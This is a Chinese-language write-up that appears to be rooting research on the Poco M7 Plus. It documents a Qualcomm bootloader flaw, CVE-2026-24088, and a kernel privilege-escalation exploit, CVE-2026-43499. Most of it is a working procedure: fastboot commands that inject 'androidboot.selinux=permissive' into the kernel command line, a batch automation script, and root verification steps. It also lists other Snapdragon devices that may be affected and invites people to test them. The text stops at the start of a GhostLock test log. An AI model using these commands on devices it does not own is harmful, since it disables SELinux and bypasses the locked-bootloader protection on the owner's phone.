基于 Qualcomm GBL 漏洞(CVE-2026-24088)对 Poco M7 Plus(SM6375)的临时 Root 研究 + GhostLock 内核分析(CVE-2026-43499)
免责声明: 本文档纯粹出于教育和安全研究目的编写。所有测试均在我自己的设备上进行。对于设备变砖、数据丢失或滥用此信息,我概不负责。此处讨论的漏洞已公开披露并已修补。请勿在您不拥有的设备上尝试此操作。
| 文件 | 描述 |
|---|---|
| GBL-AutoRoot.bat | 一键漏洞利用自动化工具(Windows) |
使用方法:
GBL-AutoRoot.bat兼容任何受 CVE-2026-24088 影响的 Qualcomm ABL 设备。 如果您的设备返回
OKAY,将自动授予 root 权限。
此工具针对 Qualcomm ABL 漏洞(CVE-2026-24088)。如果您的设备搭载了存在漏洞的 SoC 且尚未收到修补后的固件,此工具将有效。
| 状态 | 设备 / SoC 系列 | 示例设备 |
|---|---|---|
| 🟢 已确认 | Snapdragon 695 (SM6375) | POCO M7 Plus 5G, Redmi 15 5G |
| 🟡 潜在 | Snapdragon 8 Gen 3 (SM8650) | Xiaomi 14 / Pro / Ultra, Redmi K70 Pro |
| 🟡 潜在 | Snapdragon 8 Gen 2 (SM8550) | Xiaomi 13 / Pro, POCO F5 Pro, Redmi K60 Pro |
| 🟡 潜在 | Snapdragon 8+ Gen 1 (SM8475) | Xiaomi 12T Pro, POCO F5 |
| 🟡 潜在 | Snapdragon 888 (SM8350) | Mi 11, Mi 11X Pro, POCO F3 |
| 🟡 潜在 | Snapdragon 7+ Gen 3 (SM7675) | POCO F6 |
| 🟡 潜在 | Snapdragon 7 Gen 3 (SM7550) | Xiaomi Civi 4 |
| 🟡 潜在 | Snapdragon 695 5G (SM6375) | POCO X4 Pro 5G, Redmi Note 11 Pro 5G |
| 🟡 潜在 | Snapdragon 680 (SM6225) | Redmi Note 11, Redmi 10C |
| 🟡 潜在 | Snapdragon 662 (SM6115) | POCO M3, Redmi 9T |
| 🔴 不支持 | MediaTek (MTK) | POCO X6 Neo, Redmi Note 13 Pro+ |
| 🔴 不支持 | 已修补固件 | HyperOS 3.0.304.0+(已应用安全补丁) |
📝 需要社区测试: 我无法获得所有这些设备进行测试。如果您拥有其中一款“潜在支持”的设备,请测试此工具并告知我结果。这将帮助我确认并正式将您的设备添加到“已确认可用”列表中!
| 字段 | 值 |
|---|---|
| 设备 | Poco M7 Plus 5G(代号:spring) |
| 芯片组 | Qualcomm SM6375 (Snapdragon 6s Gen 3) |
| 架构 | AArch64,KASLR 已启用 |
| SELinux | Enforcing(漏洞利用前) |
| 引导加载程序 | LOCKED |
| 测试平台 | Windows 11, ADB Platform Tools |
| HyperOS 版本 | 内核版本 | GhostLock 结果 | GBL 漏洞利用结果 |
|---|---|---|---|
| 2.0.202.0 | 6.1.118-android14-11-ga3b9c44908dd-ab13320413 | ❌ 内核崩溃 | ✅ 可用 |
| 2.0.208.0 | 6.1.138-android14-11-g51f8c580613d-ab13911623 | ❌ 内核崩溃 | ✅ 可用 |
研究备注: 我最初在 HyperOS 2.0.202.0 上进行测试,GhostLock 导致内核崩溃。随后我更新到 2.0.208.0,以检查较新的内核构建(6.1.118 -> 6.1.138)是否能解决 GhostLock 的不稳定性。崩溃仍然存在 - 两个构建共享相同的 6.1
pselect/fd_set内部布局,GhostLock 无法处理。GBL 漏洞利用在两个版本上均有效。
在本研究过程中,我测试了两条独立的漏洞利用路径,以在不解锁引导加载程序的情况下实现此设备的临时 root:
| 方法 A:GBL 漏洞利用 | 方法 B:GhostLock | |
|---|---|---|
| 层级 | 引导加载程序(ABL/fastboot) | 内核(Linux 6.1) |
| CVE | CVE-2026-24088 | CVE-2026-43499 |
| 在此设备上的结果 | ✅ 可用 | ❌ 内核崩溃 |
| Root 类型 | 临时(有连接依赖) | 临时(有连接依赖) |
| 需要 ADB? | 是(fastboot 模式) | 是(shell 访问) |
| 对内核版本敏感? | 否 | 是 - 仅在 6.6-6.12 上稳定 |
GBL 漏洞利用有效。GhostLock 因内核版本不匹配而失败,导致内核崩溃。两项发现均在下方详细记录。
CVE-2026-24088 影响多个设备上的 Qualcomm Android Boot Loader (ABL)。``` Jan 2026 -> Vulnerability discovered during ABL unpacking & analysis Feb 2026 -> Qualcomm patches: QcomModulePkg: Fix propagation of untrusted input into kernel cmdline Mar 2026 -> Public PoC released; Xiaomi begins rolling out HyperOS 3.0.304.0 (patched) Jun 2026 -> CVE-2026-24088 officially assigned in Qualcomm Security Bulletin
### 漏洞利用链详解
该漏洞利用在引导加载程序层面以**三阶段链**方式运作:
#### 阶段 1 - 未签名的 GBL 执行
在 Android 16 中,高通的 ABL 从 `efisp` 分区加载通用引导加载程序(GBL)。关键缺陷在于:**ABL 仅检查该二进制文件是否为有效的 UEFI 应用程序——它并不验证其加密签名。** 这意味着一个自定义的、未签名的 UEFI 应用程序可以被放入 `efisp`,并将在引导加载程序阶段以完全权限执行。
#### 阶段 2 - 内核命令行注入
`fastboot oem set-gpu-preemption` 命令**缺乏输入清理**。ABL 直接将提供的参数拼接到内核命令行中,而不进行过滤。
通过将 `androidboot.selinux=permissive` 作为附加参数传入:```
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
...引导加载程序会将 androidboot.selinux=permissive 写入内核命令行,Android 的 init 进程在启动时会读取该参数——从而有效地禁用了 SELinux 强制模式。
放置在 efisp 中的自定义 UEFI 应用程序可以设置 is_unlocked 和 is_unlocked_critical 标志,以永久解锁引导加载程序。(此步骤未经测试——存在硬砖风险。)
⚠️ 继续之前请停止: 请先运行第 7 节中的补丁检查。如果你的设备已打补丁,以下所有操作都将无效。
前提条件:
我需要在开发者选项中启用 OEM 解锁吗? 不需要——而这正是此漏洞利用最重要的方面之一。
fastboot oem set-gpu-preemption命令在 ABL 层运行——在操作系统检查 OEM 解锁状态之前就被处理。CVE-2026-24088 是 ABL 本身中一个缺失输入净化的缺陷,完全绕过了 OEM 解锁门禁。你的引导加载程序全程保持锁定状态。 如果你看到某篇指南说“先启用 OEM 解锁”——那适用于另一种(标准)解锁方法,而非此漏洞利用。
步骤 1:进入 Fastboot 模式```bash adb reboot bootloader
**步骤 2:测试漏洞**```bash
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
OKAY -> 设备存在漏洞 ✅ 继续FAILED (remote: 'Set GPU HW Preemption: Invalid Argument') -> 设备已修补 ❌ 在此停止步骤 3:使用注入的 Cmdline 启动```bash fastboot continue
**步骤 4:验证 SELinux 状态**```bash
adb shell getenforce
# Expected: Permissive
步骤 5:通过 Root 管理器获取 Root 权限
选项 A - KernelSU 管理器:```bash
adb shell su -c id
**选项 B - Resuski Manager:**```bash
# Open Resuski Manager on device
# Enable "Jailbreak Mode" from the main screen
# Root and modules appear as active and working
adb shell su -c id
重要: 启用 jailbreak 模式后,如果手机被关机并重新开机——你必须先重新运行 fastboot 注入(步骤 1-3),然后重新打开 root 管理器应用。Root 是受约束的——一旦重新建立 SELinux 宽容状态,管理器会正确显示 root 和模块正常工作。
步骤 6:验证完整 Root 状态```bash adb shell getenforce # Permissive adb shell su -c id # uid=0(root) adb shell su -c "cat /data/adb/ksu/version" # KSU version adb shell su -c "cat /sys/fs/selinux/enforce" # 0
**步骤 7:自动化脚本(可选)**```batch
@echo off
echo Rebooting to fastboot...
adb reboot bootloader
timeout /t 10
echo Injecting SELinux permissive...
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
timeout /t 2
fastboot continue
echo Done. Open KernelSU or Resuski Manager on device.
| 检查项 | 命令 | 预期输出 |
|---|---|---|
| SELinux 模式 | adb shell getenforce | Permissive |
| Root 身份 | adb shell su -c id | uid=0(root) |
| KSU 版本 | adb shell su -c "cat /data/adb/ksu/version" | 版本字符串 |
| 内核强制标志 | adb shell su -c "cat /sys/fs/selinux/enforce" | 0 |
GhostLock 是一个发布在 GitHub 上的内核级权限提升漏洞利用(CVE-2026-43499)。它针对内核 futex 子系统结合 TCP zerocopy 或 pselect 网络路径中的漏洞,以实现释放后使用(UAF)条件,最终覆盖 cred 结构以授予 root 权限。
运行 GhostLock 最简单的方式是通过 @YuKongA 开发的 GhostLock 一键应用——一个带有简单 UI 的独立 Android 应用,无需手动部署二进制文件。
支持的内核范围(稳定): 6.6 - 6.12 在内核 6.1 上: 不稳定——容易发生内核崩溃(下文附完整日志记录)
以下是在 Poco M7 Plus(内核 6.1.138)上测试运行的完整输出:``` C:\adb platform>adb shell /data/local/tmp/ghostlock --load-prebuilt-profile /data/local/tmp/profile.bin